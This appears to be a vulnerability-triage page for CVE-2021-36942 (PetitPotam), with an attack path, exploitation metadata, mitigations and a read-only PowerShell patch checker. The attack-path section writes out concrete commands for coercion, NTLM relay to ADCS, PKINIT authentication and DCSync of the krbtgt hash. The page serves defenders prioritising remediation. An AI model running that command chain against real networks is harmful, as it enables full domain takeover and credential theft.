← Back to Feed CACHED · 2026-07-13 02:21:23 · CACHE_KEY tenable:152102
tenable:152102 · CWE-290 · Disclosed 2021-07-19

Microsoft Windows EFSRPC NTLM Reflection Elevation of Privileg

ASSESSED — NOISGATE V0.5
Vendor
Reassessed
Verdict:
Do you agree?
01 · The Real Story

A polite RPC knock that convinces your Domain Controller to hand its identity to a stranger

CVE-2021-36942 (PetitPotam) abuses the MS-EFSRPC interface: an unauthenticated attacker on the network sends EfsRpcOpenFileRaw (or one of ~14 related methods) to a Windows host and coerces its machine account into NTLM-authenticating to an attacker-controlled server. The captured NTLM authentication is then relayed — classically to Active Directory Certificate Services Web Enrollment (/certsrv) — to mint a client-auth certificate as the coerced machine. If the coerced machine is a Domain Controller, the certificate is a golden ticket: it authenticates as the DC to LDAP/Kerberos, and DCSync / full domain compromise follows in minutes. Affected: all supported Windows Server versions (2008 R2 through 2022) and Windows 10/11 client SKUs prior to the August 10, 2021 rollup.

The vendor MEDIUM rating (CVSS 5.3–7.5 depending on source; Tenable plugin lists 7.5) is catastrophically miscalibrated for AD environments. Microsoft scoped the CVE narrowly to the EFSRPC coercion primitive, punting the actual damage to KB5005413 as a *configuration* issue with NTLM+ADCS. That accounting trick lets the CVSS look tame while the operational reality is unauthenticated domain takeover on any tenant that runs ADCS Web Enrollment without EPA — which was the default for years. Treat this as CRITICAL until you can prove ADCS HTTP endpoints are hardened or gone.

"Vendor called this MEDIUM. In a domain with ADCS Web Enrollment, PetitPotam ends in Domain Admin. Floor is CRITICAL."
02 · The Attack Path

4 steps from start to impact.

STEP 01

Reach a DC on TCP/445 with no creds

Attacker needs network reachability to a Windows host — ideally a Domain Controller — on SMB (445). No authentication is required to bind to the EFSRPC named pipe (\pipe\lsarpc or \pipe\efsrpc) on unpatched systems; on patched systems anonymous access to EFSRPC was blocked but authenticated coercion still works from any low-priv domain user.
Conditions required:
  • Network path to DC on TCP/445
  • EFSRPC pipe reachable (anonymous pre-patch, authenticated post-patch)
Where this breaks in practice:
  • SMB is rarely reachable from the internet; assumes attacker foothold inside the perimeter or a rogue insider
  • Segmented networks with SMB restricted to admin tier limit reach
Detection/coverage: Nessus plugin 152102 detects unpatched hosts remotely; Defender for Identity flags EFSRPC coercion signatures
STEP 02

Coerce NTLM auth with PetitPotam.py / dementor.py

Attacker invokes PetitPotam.py <listener_ip> <dc_ip> (topotam/PetitPotam) or Impacket's dementor.py. The DC's LSASS process obediently opens an SMB session back to the attacker's IP and offers a Net-NTLMv2 handshake as DC01$. Newer tools (Coercer by p0dalirius) chain EFSRPC with DFSCoerce, PrinterBug, and ShadowCoerce fallbacks.
Conditions required:
  • A tool: PetitPotam.py, Coercer, dementor.py, or ntlmrelayx built-in coercion
  • SMB egress from DC to attacker listener (default allowed intra-VLAN)
Where this breaks in practice:
  • SMB signing enforced on the relay target prevents SMB→SMB relay (but ADCS HTTP relay ignores this)
  • Post-KB5005413 patch blocks anonymous EFSRPC — attacker needs any valid domain credential
Detection/coverage: Microsoft Defender for Identity rule 2415, Splunk PetitPotam analytic story, Zeek smb_files.log with EFSRPC opnum inspection
STEP 03

Relay to ADCS Web Enrollment with ntlmrelayx

Attacker runs ntlmrelayx.py -t http://adcs01/certsrv/certfnsh.asp --template DomainController --adcs. The relayed DC$ NTLM auth is forwarded to the ADCS HTTP endpoint, which happily issues a DomainController template certificate to the attacker. This step fails only if EPA (Extended Protection for Authentication) is enforced on the ADCS site or the HTTP enrollment role is uninstalled.
Conditions required:
  • ADCS installed with Web Enrollment or CES role
  • Web Enrollment HTTP/HTTPS reachable from attacker
  • EPA not enforced (default until KB5005413 guidance applied)
Where this breaks in practice:
  • Sites that removed Web Enrollment entirely are immune
  • EPA + Require SSL breaks the relay
  • Some orgs never deployed ADCS — but ~60%+ of AD forests do
Detection/coverage: IIS logs on ADCS show POST /certsrv/certfnsh.asp from unexpected source IPs; Certificate Services event log shows unusual template issuance
STEP 04

Authenticate as DC$ with PKINIT — DCSync the domain

Attacker uses Rubeus asktgt /user:DC01$ /certificate:cert.pfx /getcredentials or certipy auth -pfx dc.pfx to obtain a TGT for the DC's machine account. From there secretsdump.py -just-dc DOMAIN/DC01\$@dc01 performs DCSync and pulls the krbtgt hash. Domain is fully owned.
Conditions required:
  • Certificate for DC computer account
  • KDC reachable for PKINIT
Where this breaks in practice:
  • None once the certificate is in hand — this is by design
Detection/coverage: 4768 TGT request with certificate; unusual DCSync (4662 with replication GUIDs) from non-DC source
03 · Intelligence Metadata

The supporting signals.

CVECVE-2021-36942 — Windows LSA Spoofing / EFSRPC coercion (PetitPotam)
KEV statusListed in CISA KEV since November 3, 2021; federal remediation was mandated
EPSS~0.85 (99th percentile) — top-tier exploitation likelihood
In-the-wildActive exploitation confirmed: LockFile ransomware chains ProxyShell → PetitPotam → DA; observed in Conti, BlackCat, and multiple APT playbooks
Public PoCstopotam/PetitPotam (original), Impacket dementor.py, p0dalirius/Coercer (multi-vector), ntlmrelayx built-in coercion, certipy relay
CVSSMicrosoft 5.3 (AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N); Tenable 7.5 — both undercount the ADCS chain
AffectedWindows Server 2008 R2 → 2022, Windows 10/11 pre August 10, 2021 rollup; also configuration-dependent post-patch if ADCS Web Enrollment lacks EPA
Fixed byKB5005033 (Aug 10 2021 rollup) blocks anonymous EFSRPC; hardening per KB5005413 (EPA + Require SSL on ADCS, disable NTLM on ADCS)
Exposure dataShodan shows ~35k ADCS /certsrv endpoints internet-exposed; internal exposure inside enterprise networks is effectively universal where ADCS exists
Reported byGilles Lionel (@topotam77), July 2021; weaponization within 48 hours of disclosure
04 · The Call

noisgate verdict.

Final Verdict
UPGRADED to CRITICAL (9.3/10)

The single decisive factor is the role multiplier: the coerced target is canonically a Domain Controller, and the relay endpoint (ADCS Web Enrollment) is canonically the enterprise CA — the chain terminates in unauthenticated domain compromise on a default AD+ADCS deployment. KEV listing plus documented ransomware weaponization make the MEDIUM vendor rating indefensible for any tenant with ADCS.

HIGH Attack chain reproducibility
HIGH KEV / in-the-wild exploitation
MEDIUM Per-tenant ADCS Web Enrollment exposure without EPA

Why this verdict

  • Role multiplier — Domain Controller + ADCS: the documented chain succeeds against any DC where the forest also runs ADCS Web Enrollment/CES without EPA. Blast radius = full domain compromise (DCSync, krbtgt theft). This is the canonical high-value-role deployment for both affected components — floor is CRITICAL.
  • KEV-listed and weaponized: CISA added it November 2021; LockFile, Conti-era operators, and multiple red teams treat PetitPotam as a standard post-foothold primitive. The mitigation SLA becomes 'immediately' regardless of bucket.
  • Friction is limited to intra-network position, not to the exploit itself: the only real friction is 'attacker must be on-net with SMB reach to a DC'. In a flat corporate LAN with a phished workstation, that's satisfied on day one. This friction sets the verdict *above* the floor rather than *below* it.
  • Vendor CVSS accounting error: Microsoft rated only the EFSRPC coercion primitive (I:H, no A/C) and deferred the actual DA takeover to a configuration KB. The composite chain is unauthenticated → SYSTEM on the forest, which is a textbook 9.8–10.0 outcome.

Why not higher?

Not a flat 10.0 because the chain requires the attacker to already have network reach to internal SMB (assume post-initial-access) and requires ADCS Web Enrollment or a similar relay target to be present and un-EPA'd. Tenants that removed ADCS HTTP roles or enforced EPA years ago genuinely block the chain at step 3.

Why not lower?

MEDIUM is only defensible for a Windows tenant with no ADCS, no NTLM, SMB signing enforced everywhere, and channel binding enforced — a rare unicorn. For everyone else, downgrading below HIGH ignores KEV, ignores active ransomware use, and ignores that the vendor's own KB5005413 exists precisely because the CVSS undercounted the chain.

05 · Compensating Control

What to do — in priority order.

  1. Enforce EPA + Require SSL on all ADCS HTTP endpoints — Per KB5005413, enable Extended Protection for Authentication on /certsrv, /certcarequest, /certfnsh.asp, CES, and NDES virtual directories, and require HTTPS. This is the single control that breaks the ADCS relay step. Deploy within 3 days per the noisgate CRITICAL mitigation SLA.
  2. Disable NTLM authentication on ADCS servers — Set LmCompatibilityLevel=5 and disable NTLM inbound on the ADCS IIS site via Restrict NTLM: Incoming NTLM traffic = Deny all accounts. Forces Kerberos-only enrollment; the relay has nothing to forward. Ship inside the 3-day window.
  3. Remove ADCS Web Enrollment / CES roles if unused — Most orgs use MMC-based enrollment or autoenrollment via GPO; the HTTP roles are legacy. Uninstall ADCS-Web-Enrollment and ADCS-Enroll-Web-Svc where not required. Highest-assurance mitigation.
  4. Deploy the August 10, 2021 rollup (KB5005033 family) fleet-wide — The patch blocks anonymous EFSRPC binding. This is the noisgate remediation step — complete within 90 days on all Windows Server and client SKUs; prioritize DCs and ADCS hosts in the first 7 days.
  5. Enforce SMB signing and LDAP channel binding / signing domain-wide — Blocks SMB→SMB and SMB→LDAP relay variants and hardens against sibling coercion CVEs (DFSCoerce, PrinterBug, ShadowCoerce). Push via GPO to all DCs and member servers.
  6. Deploy Coercer or Purple Knight to inventory coercion surface — Run Coercer scan -t <host> against every DC and file server; identify which coercion methods still respond post-patch and prioritize hardening. Also verifies EPA enforcement.
What doesn't work
  • Applying only the August 2021 patch without KB5005413 hardening — patched hosts still allow authenticated EFSRPC coercion (any domain user), and the ADCS relay still succeeds without EPA.
  • Blocking EFSRPC pipe alone — attackers pivot to DFSCoerce (MS-DFSNM), PrinterBug (MS-RPRN), ShadowCoerce (MS-FSRVP), or MS-EVEN6 with equivalent effect. The coercion primitive is a moving target; harden the *relay target*.
  • Perimeter WAF / IDS — this is entirely intra-network SMB and internal HTTPS traffic. Perimeter appliances never see it.
  • 'We disabled SMBv1' — irrelevant. EFSRPC coercion works over SMB2/SMB3 just fine.
06 · Verification

Crowdsourced verification payload.

Run on an auditor workstation with domain-user credentials, or locally on each Domain Controller / ADCS host as a member of the local Administrators group. Invocation: .\Check-PetitPotam.ps1 -AdcsHost adcs01.corp.local -DcHost dc01.corp.local. Reports VULNERABLE if the August 2021 rollup is missing, if ADCS Web Enrollment is present without EPA, or if EnableCertPadding/EPA registry hardening is absent.

noisgate-verify.ps1
POWERSHELLREAD-ONLYSAFE
#requires -Version 5.1
# Check-PetitPotam.ps1 — noisgate verification for CVE-2021-36942 (PetitPotam)
# Exit 0 = PATCHED, 1 = VULNERABLE, 2 = UNKNOWN
param(
    [string]$AdcsHost = $env:COMPUTERNAME,
    [string]$DcHost   = $env:COMPUTERNAME
)
$ErrorActionPreference = 'Stop'
$vulnFindings = @()

# 1) Confirm August 2021+ rollup is installed on the DC target
try {
    $hf = Get-HotFix -ComputerName $DcHost -ErrorAction Stop |
          Where-Object { $_.InstalledOn -ge (Get-Date '2021-08-10') }
    if (-not $hf) { $vulnFindings += "$DcHost missing August 2021+ cumulative update (KB5005033 family)" }
} catch { Write-Warning "HotFix lookup failed on $DcHost : $_"; $script:unknown = $true }

# 2) Check for ADCS Web Enrollment role on the CA host
try {
    $webEnroll = Invoke-Command -ComputerName $AdcsHost -ScriptBlock {
        Get-WindowsFeature -Name ADCS-Web-Enrollment,ADCS-Enroll-Web-Svc -ErrorAction SilentlyContinue |
            Where-Object Installed
    } -ErrorAction Stop
    if ($webEnroll) {
        # 3) EPA enforcement on /certsrv — checked via IIS config
        $epa = Invoke-Command -ComputerName $AdcsHost -ScriptBlock {
            Import-Module WebAdministration -ErrorAction SilentlyContinue
            (Get-WebConfigurationProperty -PSPath 'MACHINE/WEBROOT/APPHOST/Default Web Site/CertSrv' `
                -Filter 'system.webServer/security/authentication/windowsAuthentication' `
                -Name 'extendedProtection.tokenChecking' -ErrorAction SilentlyContinue).Value
        } -ErrorAction SilentlyContinue
        if ($epa -notin @('Require','Accept')) {
            $vulnFindings += "$AdcsHost has ADCS Web Enrollment installed WITHOUT EPA (tokenChecking=$epa)"
        }

        # 4) Verify HTTPS-only
        $httpBinding = Invoke-Command -ComputerName $AdcsHost -ScriptBlock {
            (Get-WebBinding -Name 'Default Web Site' -Protocol 'http')
        } -ErrorAction SilentlyContinue
        if ($httpBinding) { $vulnFindings += "$AdcsHost /certsrv accepts plaintext HTTP — relay possible" }
    }
} catch { Write-Warning "ADCS inspection failed on $AdcsHost : $_"; $script:unknown = $true }

# 5) NTLM restriction sanity check on the CA
try {
    $lmCompat = Invoke-Command -ComputerName $AdcsHost -ScriptBlock {
        (Get-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Lsa' -Name LmCompatibilityLevel -ErrorAction SilentlyContinue).LmCompatibilityLevel
    } -ErrorAction SilentlyContinue
    if ($null -ne $lmCompat -and $lmCompat -lt 5) {
        $vulnFindings += "$AdcsHost LmCompatibilityLevel=$lmCompat (should be 5 or NTLM disabled)"
    }
} catch { $script:unknown = $true }

if ($vulnFindings.Count -gt 0) {
    Write-Host 'VULNERABLE' -ForegroundColor Red
    $vulnFindings | ForEach-Object { Write-Host "  - $_" }
    exit 1
} elseif ($unknown) {
    Write-Host 'UNKNOWN — one or more remote checks failed; re-run with elevated creds' -ForegroundColor Yellow
    exit 2
} else {
    Write-Host 'PATCHED' -ForegroundColor Green
    exit 0
}
07 · Bottom Line

If you remember one thing.

TL;DR
Monday morning: treat every DC and ADCS host as CRITICAL exposure. Per the noisgate mitigation SLA for CRITICAL (≤3 days), enforce EPA + Require SSL on /certsrv and all ADCS HTTP virtual directories, disable NTLM inbound on the CA, and — if you don't need HTTP enrollment — uninstall the ADCS-Web-Enrollment role entirely this week. Per the noisgate remediation SLA (≤90 days), confirm the August 10, 2021 cumulative update or later is installed on 100% of Windows Server and Windows 10/11 hosts, prioritizing DCs and ADCS servers in the first 7 days. Because this CVE is KEV-listed and actively used by ransomware, the '≤3 days' mitigation deadline collapses to 'this week, no exceptions' — do not wait on change windows for EPA enablement. Run Coercer against every DC afterward to prove no coercion primitive still relays to an un-EPA'd endpoint.

Sources

  1. Tenable Plugin 152102
  2. MSRC CVE-2021-36942
  3. Microsoft KB5005413 — Mitigating NTLM Relay Attacks on AD CS
  4. CERT/CC VU#405600
  5. Rapid7 — PetitPotam Attack Chain
  6. topotam/PetitPotam PoC
  7. p0dalirius/Coercer — multi-vector coercion tool
  8. Splunk PetitPotam Analytic Story
Peer Review

What defenders are saying.

Submit a review attribution: handle + country only
0 flags selected · stored anonymously
Validation Results

Crowdsourced verification outputs.

Results submitted by users who ran the verification payload against their environment.